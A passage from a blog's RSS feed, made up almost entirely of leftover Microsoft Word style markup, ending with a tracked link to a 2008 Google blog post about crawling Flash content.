<w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 2" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 2" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 2" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 2" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 2" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 2" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 2" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 3" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 3" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 3" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 3" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 3" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 3" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 3" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 3" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 3" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 4" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 4" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 4" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 4" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 4" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 4" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 4" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 4" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 4" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 5" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 5" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 5" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 5" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 5" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 5" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 5" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 5" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 5" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 6" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 6" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 6" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 6" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 6" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 6" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 6" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 6" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 6" /> <w:LsdException Locked="false" Priority="19" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis" /> <w:LsdException Locked="false" Priority="21" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis" /> <w:LsdException Locked="false" Priority="31" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference" /> <w:LsdException Locked="false" Priority="32" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Intense Reference" /> <w:LsdException Locked="false" Priority="33" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Book Title" /> <w:LsdException Locked="false" Priority="37" Name="Bibliography" /> <w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading" /> </w:LatentStyles> </xml><![endif]--> <!--[if gte mso 10]><br />
<style>
 /* Style Definitions */
 table.MsoNormalTable
	{mso-style-name:"Table Normal";
	mso-tstyle-rowband-size:0;
	mso-tstyle-colband-size:0;
	mso-style-noshow:yes;
	mso-style-priority:99;
	mso-style-qformat:yes;
	mso-style-parent:"";
	mso-padding-alt:0in 5.4pt 0in 5.4pt;
	mso-para-margin:0in;
	mso-para-margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:11.0pt;
	font-family:"Calibri","sans-serif";
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
	mso-fareast-font-family:"Times New Roman";
	mso-fareast-theme-font:minor-fareast;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;
	mso-bidi-font-family:"Times New Roman";
	mso-bidi-theme-font:minor-bidi;}
</style>
<p><![endif]--><span style="font-size: 11pt; font-family: "><a href="http://googleblog.blogspot.com/2008/06/google-learns-to-crawl-flash.html" onclick="javascript:pageTracker._trackPageview ('/outbound/googleblog.blogspot.com');">http://googleblog.blogspot.com/2008/06/google-learns-to-crawl-flash.html</a></span></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.activoinc.com/blog/2008/07/05/flash-and-search-engine-optimization-seo/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
